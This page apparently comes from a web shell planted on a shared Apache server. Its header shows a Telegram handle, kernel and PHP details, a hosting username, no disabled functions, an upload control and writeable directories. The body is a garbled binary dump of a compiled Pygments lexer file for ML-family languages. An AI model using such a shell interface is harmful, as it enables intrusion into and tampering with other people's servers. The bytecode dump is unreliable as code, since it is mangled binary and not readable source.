https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/ml.cpython-310.pyc
o

���aމ�@s�dZddlZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZgd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZGdd
�d
e�ZGdd�de�ZdS)z�
    pygments.lexers.ml
    ~~~~~~~~~~~~~~~~~~

    Lexers for ML family languages.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�include�bygroups�default�words)	�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Error)�SMLLexer�
OcamlLexer�OpaLexer�ReasonLexer�
FStarLexerc@sveZdZdZdZdgZgd�ZddgZhd�Zhd�Z	hd	�Z
d
ZdZdd
�Z
dd�Zdd�Zdd�Ziddefdejdfg�ddedfdedfdejdfdejdfd ejdfg�d!d"d#�d$d%�e
D��efd&ejd'fd(ejd)fd*ejfd+ejfd,ejfd-ejfd.ejfd/ejfd0ejfd1ej fd2eej fd3eej fd4ejd5fd6ejd7fd8ejd9fd:ejd;fd<ej!fd=eed>fd"eefd"eefg�d>d=eefd"eedfd"eedfde"fd?e"fg�d@e#d�g�de$d�dAejdBfdCejdDfe$d�e$d!�d?e"fg�dEe$d�dFefdejdfdGejdHfdIejdJfdKedHfdLejdMfe$d�e$d!�d?e"fg
�d'e
ej��d)e
ej��dNdOd#�e�edfg�d9e$d�e$dN�d"eej%fe#d�g�dHe$d�d<ej!fdPedQfd"eej&dfd"eej&dfe#d�g�dBe$d�d<ej!fdPedQfdReefe'ej(ee�dfdReefe'ej(ee�dfd"eej(dfd"eej(dfe#d�g�d;e$d�e$dN�d<ej!fdPedQfdSeedTfd"eej)fd"eej)fd?e"dfg�dUe$d�dVejdWfe$dN�e$d!�d?e"dfg�d5e$d�e$dN�d<ej!fdPedQfdXe'eeej�dfdSeedYfd"eej)fd"eej)fd?e"dfg	�dZe$d�dVejd[fd\ejdWfd]ejfd^ee'eeej*�fd_ee'eeej*�fe$dN�e$d!�d?e"fg	�e$d�d`ee'ejeej*�fdaee'ejeej*�fd]ejfdbeefej*fe#d�ge$d�d"eej*dfd"eej*dfd?e"dfgdFefdejdfd<ej!feefdcefddedfeefgdeejfdejdffdgejdfdhejfgdi��Z+djS)krzB
    For the Standard ML language.

    .. versionadded:: 1.5
    zStandard ML�sml)z*.smlz*.sigz*.funztext/x-standardmlzapplication/x-standardml>)�as�do�fn�if�in�of�op�and�end�fun�let�rec�sig�val�case�else�open�then�type�with�infix�local�raise�where�while�eqtype�handle�infixr�nonfix�orelse�struct�abstype�andalso�functorr�sharing�datatype�withtype�	exception�	signature�	structure>�#�:�=�->�:>�=>�\|>
�...�_�(�)�,�;�[�]�{�}z[a-zA-Z][\w']*z[!%&$#+\-/:<=>?@\\~`^|*]+c	Cs:d|fdtjfdtjfdtjfdtjfdtjfd|dfgS)	Nz[^"\\]z\\[\\"abtnvfr]z\\\^[\x40-\x5e]�
\\[0-9]{3}z\\u[0-9a-fA-F]{4}z\\\s+\\�"�#pop)r�Escape�Interpol)�whatkind�rU�4/usr/lib/python3/dist-packages/pygments/lexers/ml.py�stringy<s�zSMLLexer.stringyccsR�|�d�|jvrt}ntj}|�d�||�d�fV|�d�t|�d�fVdS)N��)�group�alphanumid_reservedrr�	Namespace�startr��self�match�tokenrUrUrV�long_id_callbackKs�zSMLLexer.long_id_callbackccsN�|�d�|jvrt}n
|�d�|jvrt}nt}|�d�||�d�fVdS�NrX)rZr[r�symbolicid_reservedrr]r^rUrUrV�end_id_callbackSs�zSMLLexer.end_id_callbackccsH�|�d�}||jvrtj}n
||jvrt}nt}|�d�||fVdSrc)rZr[r
�Reservedrdrrr])r_r`�strrarUrUrV�id_callback\s�


zSMLLexer.id_callback�
whitespace�\s+�\(\*�comment�
delimitersz\(|\[|\{�mainz\)|\]|\}rQz\b(let|if|local)\b(?!\'))rnrnz\b(struct|sig|while)\b(?!\')z\b(do|else|end|in|then)\b(?!\')�core�(%s)�|ccs�|]}t�|�VqdS)N)�re�escape)�.0�zrUrUrV�	<genexpr>|s�zSMLLexer.<genexpr>z#"�charrP�stringz~?0x[0-9a-fA-F]+z0wx[0-9a-fA-F]+z0w\d+z~?\d+\.\d+[eE]~?\d+z
~?\d+\.\d+z~?\d+[eE]~?\d+z~?\d+z#\s*[1-9][0-9]*z#\s*(%s)z#\s+(%s)z\b(datatype|abstype)\b(?!\')�dnamez\b(exception)\b(?!\')�enamez4\b(functor|include|open|signature|structure)\b(?!\')�snamez\b(type|eqtype)\b(?!\')�tnamez	\'[\w\']*z(%s)(\.)�dottedz\S+�rootz\b(val|and)\b(?!\')�vnamez\b(fun)\b(?!\'))rQ�main-fun�fnamer�z\sz\b(fun|and)\b(?!\')r�z\b(val)\b(?!\'))rQrnrrDz\b(case|handle)\b(?!\'))rQrn�breakoutz(?=\b(%s)\b(?!\'))�\(�tyvarseqz(%s)(\s*)(=(?!%s))z=(?!%s))rQ�typbindr�z\b(and)\b(?!\'))rQr|z(=)(\s*)(datatype))rQ�datbind�datconr�)rQryz\b(withtype)\b(?!\')z\b(of)\b(?!\')z
(\|)(\s*)(%s)z
(\|)(\s+)(%s)z(and\b)(\s+)(%s)z(and\b)(\s*)(%s)z	(%s)|(%s)rI�\)z[^(*)]�#push�\*\)�[(*)])rzr�r�rlN),�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypesr[rd�nonid_reserved�
alphanumid_re�
symbolicid_rerWrbrerhrr�	Multilinerr
rf�joinr�Char�Doubler
�Hex�Integer�Floatr�Label�	Decoratorrrrr\�Functionr�Variable�Type�Class�tokensrUrUrUrVrs�	

��


���



�


��5
��?��E
���S

����
i�
j�l��q��z��
�
�������'
���2�����C

�����V����	
�

���rc@s�eZdZdZdZdgZgd�ZdgZdZdZ	dZ
d	Zd
ZdZ
dZd
ejfdejfdejfgdefdejjfdejdfdejfdedfdd�e�efdd�e	ddd��efde
ee
fefdd�e�ejfdd�e�ejfdefdejfdejfd ej fd!ej!fd"ej"fd#ej#fd$ej#fd%efd&ej$d'fd(ej%fgd)efd*ed+fd,ed-fd.efgd/ej$fe&d0�d1ej$fd&ej$d-fgdefd2e'fd3ejfd4ejd-fd5ed-fe(d-�gd6�Z)dS)7rz<
    For the OCaml language.

    .. versionadded:: 0.7
    �OCaml�ocaml)z*.mlz*.mliz*.mllz*.mlyztext/x-ocaml)0r�assert�begin�class�
constraintr�done�downtor%rr;�external�false�forr�functionr7rrr�inherit�initializer�lazyr r`�method�module�mutable�new�objectrr&�privater,r!r"r4r'�to�true�tryr(�valuer#�virtual�whenr.r)))�!=r>�&�&&r�r��\*�\+rI�-�-\.rA�\.�\.\.r?�::�:=rBrJ�;;�<�<-r@�>�>]�>\}�\?�\?\?�\[�\[<�\[>�\[\|rLrF�`�\{�\{<rD�\|]�\}�~�[!$%&*+\./:<=>?@^|~-])r�asr�land�lor�lsl�lxor�mod�or�[!?~]�[=<>@^|&+\*/$%-]��unit�int�float�boolrxrw�list�array�
\\[\\"\'ntbr]rO�\\x[0-9a-fA-F]{2}rj�false|true|\(\)|\[\]�\b([A-Z][\w\']*)(?=\s*\.)r}�\b([A-Z][\w\']*)�\(\*(?![)])rl�\b(%s)\brqrpN����
(%s|%s)?%s�
[^\W\d][\w']*�(-?\d[\d_]*(.[\d_]*)?([eE][+\-]?\d[\d_]*)�0[xX][\da-fA-F][\da-fA-F_]*�0[oO][0-7][0-7_]*�0[bB][01][01_]*�\d[\d_]*�7'(?:(\\[\\\"'ntbr ])|(\\[0-9]{3})|(\\x[0-9a-fA-F]{2}))'�'.'�'rPrx�[~?][a-z][\w\']*:�[^(*)]+rkr�r�rQr��[^\\"]+�escape-sequence�\\\nr��[A-Z][\w\']*(?=\s*\.)�[A-Z][\w\']*�
[a-z_][\w\']*�rr~rlrxr})*r�r�r�r�r�r�r�r��keywords�keyopts�	operators�word_operators�prefix_syms�
infix_syms�
primitivesrrRrr�Builtin�Pseudor\r�rr�r
r	�Wordr�r
r�r��Oct�Binr�r�r�r�rrrr�rUrUrUrVrcsv	�

�
��
�
�
�rc@seZdZdZdZdgZdgZdgZdZdZ	dZ
d	Zid
dej
fdej
fd
ej
fg�ddedfdefg�ded�defg�ded�eeddd�efde	dejjfdejfdejfdejfdejfdejfdejfdejfdejfd ejd!fd"ejfd#ed$fd%ed&fd'ejd(fd)ej fd*e
d+ej fd,ej!fd-e
d+efd.e
efd.eefd/ed0fd1e	ej"fd2e	ejfd3ejfe	efg�d0ed�d4ej"fe#d5�g�d6ed�d7ej"d8fd9ej"d:fe	d7ej"d8fe	ej"d&fd1e	ej"fe#d&�g�d;ed�e#d<�g�d=ed�d>ej"d?fe#d&�g�d@ed�d4ej"dAfdBej"dCfe#d&�g�dDed�dEej"d;fd4ej"dAfe#d&�g�dFed�dGej"fdHej"fd7ej"d$fdIej"d&fg�dJed�dKej"fdHej"fd#ej"d$fd%ej"d&fg�ddLefded$fdMed&fdHefg�d!dNejfd ejd&fd#edfed
�g�dOdPejfdQejd&fd#edfed
�g�d(dRejdSfdTejdUfg�dVdWejd&fg�defdXejdYfdZejd&fdTejdUfgd1ejd[fd ejd\fd2e	ejd&fd3ejd]fd^ejd&fd#ed]fgd_ed`fdaejdbfdcejd(fd#edfddejfgdeed&fdfefgdg��Z$dhS)irzU
    Lexer for the Opa language (http://opalang.org).

    .. versionadded:: 1.5
    �Opa�opaz*.opaz
text/x-opa)rrr�r$�client�css�database�dbrr%rr��forallr�r�importr`r�r��package�parserr!�serverr'r(r#r)�
xml_parserz(([a-zA-Z_]\w*)|(`[^`]*`))z[.=\-<>,@~%/+?*&^!]z[()\[\],;|]rz
\\[\\"\'ntr}]rOr��commentsz/\*znested-commentz//.*?$zcomments-and-spacesrjr~z\b)�prefix�suffix�@z-?.[\d]+([eE][+\-]?\d+)z-?\d+.\d*([eE][+\-]?\d+)z-?\d+[eE][+\-]?\d+z0[xX][\da-fA-F]+z0[oO][0-7]+z
0[bB][01]+z\d+z#[\da-fA-F]{3,6}rPrxz9'(?:(\\[\\\"'ntbr ])|(\\[0-9]{3})|(\\x[0-9a-fA-F]{2})|.)'r�r�r�rQz<(?=[a-zA-Z>])z
html-open-tagz[@?!]?(/\w+)+(\[_\])?z<-(?!rHz\b([A-Z]\w*)(?=\.)z=(?!z(%s)+r?r(r�r>z#(?=\{)rA)rQ�
type-lhs-1�type-with-slash�type-1r�)rQ�
type-tuplez~?\{)rQ�type-recordr&)rQ�slash-type-1r'r*�/)rQr'r%)rQr(z(?=,))rQ�
type-arrowr,z
,(?=[^:]*?->)r(z[^()/*]+z[/*]r�r)z[^{}/*]+�[^/*]+z\*/z[^\\"{]+�
single-stringz	[^\\\'{]+z\'z[\w\-:]+)rQ�	html-attrr�)rQ�html-content�html-end-tagz	[\w\-:]*>z	[\w\-:]+=�html-attr-valuez/>)rQr.)rQrx)rQr~z[^"\'{`=<>]+z<!--�html-commentz</)rQr1r�z[^<{]+z-->z[^\-]+|-)r/r2r0r3N)%r�r�r�r�r�r�r�r�r	�ident_re�op_re�punc_rerrRrrrrr
rrrr
r�r�rrr�r�r�r	�Singler�r\r�rr�rUrUrUrVr�s���	��
��
�


��z��


������
���%

���+

���;

���B

���]���f
���l
���y

���
����	


�



�

�	����rc@s�eZdZdZdZddgZddgZdgZdZd	Z	d
Z
dZdZd
Z
dZdejfdejfdejfgdefdejjfdejdfdejfdejfdejdfdd�e�efdd�e	ddd��ejfde
ee
fefdd�e�ejfdd�e�ejfd efd!ej fd"ej!fd#ej"fd$ej#fd%ej$fd&ej%fd'ej%fd(efd)ej&d*fd+ej'fgd,ejfd-ejd.fd/ejd0fd1ejfgd2ej&fe(d3�d4ej&fd)ej&d0fgdefd5e)fd6ejfd7ejd0fd8ed0fe*d0�gd9�Z+dS):rz]
    For the ReasonML language (https://reasonml.github.io/).

    .. versionadded:: 2.6
    �ReasonML�reasonml�reasonz*.rez*.reiztext/x-reasonml)0rr�r�r�r�rr�r�r%rr;r�r�r�r�esfunr�r7rrrr�r�r�r �switchr��pubr�r��nonrecr�rr&�prir!r"r4r'r�r�r�r(r#r�r�r.r))+r�r>r�r�r�r�r�r�rIr�r�rCr�r�z\.\.\.r?r�r�rBrJr�r�r�r@r�r�r�r�r�r�r�r�r�rLrFr�r�r�rDz\|\|r�r�r�r�)	rr�r�r�r��lsrr�r�r�r�r�r�r�rOr�rjr�r�r}r�z//.*?\nz	\/\*(?!/)rlr�rqrpNr�r�r�r�r�r�r�r�r�r�r�rPrxrr-z\/\*r�z\*\/rQr�rrrr�rrrr),r�r�r�r�r�r�r�r�r	r
rrr
rrrrRrrrrr\r�rr7r�r�r
r	rr�r
r�r�rrr�r�r�r�rrrr�rUrUrUrVrsx�


�
�

�
�
�
�rc@s�eZdZdZdZdgZddgZdgZdZdZ	d	Z
d
ZdZdZ
d
ZdZdejfdejfdejfgdefdejjfdejdfdejfdedfdefdd�e�efdd�e
�ejfdd�e	�ejfdd�eddd��efdee
efefdd�e�ejfd efd!ej fd"ej!fd#ej"fd$ej#fd%ej$fd&ej%fd'ej%fd(efd)ej&fd*efd+ej'd,fd-ej(fgd.efd/ed0fd1ed2fd3efgd4ej'fe)d5�d6ej'fd+ej'd2fgdefd7e*fd8ejfd9ejd2fd:ed2fe+d2�gd;�Z,dS)<rzV
    For the F* language (https://www.fstar-lang.org/).
    .. versionadded:: 2.7
    �FStar�fstarz*.fstz*.fstiztext/x-fstar)5�abstract�
attributes�noeq�unopteq�andbegin�byr�effectr%r�ensuresr;�existsr�rrr�rrr�inline�inline_for_extraction�irreducible�logicr`r�r�r��
new_effect�	noextractrr&�opaquer��range_of�	reifiable�reify�reflectable�requires�set_range_of�
sub_effect�synthr'�totalr�r�r(�unfold�
unfoldabler#r�r)�not)r r!)�assume�admitr��calc)/r�r�z/\\z\\/z<:z<@z\(\|z\|\)r>zu#r�r�r�z\(\)rIz~>rAr�z<--z<==>z==>r�r�z\?\.z\.\[z\.\(z\.\(\|z\.\[\|z
\{:patternr?r�r�rJr�r@z%\[z!\{r�z\[@r�z\|>z\]z\|\]r�rDr�z\$r�r�r�r�r�rOr�rjzfalse|true|False|True|\(\)|\[\]r�r}r�r�rlz^\/\/.+$r�rqrpNr�r�r�r�r�r�r�r�r�r�r�z\`([\w\'.]+)\`z\`rPrxrrrkr�r�rQr�rrrr�rrrr)-r�r�r�r�r�r�r�r�r	�
decl_keywords�assume_keywordsr
rr
rrrrRrrrrr\r�rr�r
�	Exception�Declarationr	r�r
r�r�rrr�r�rr�r�rrrr�rUrUrUrVr^s��

�
�!�
�
�
�r)r�rr�pygments.lexerrrrrr�pygments.tokenrrr	r
rrr
rr�__all__rrrrrrUrUrUrV�<module>s
,Q\E\

https://t.me/RX1948 - 2025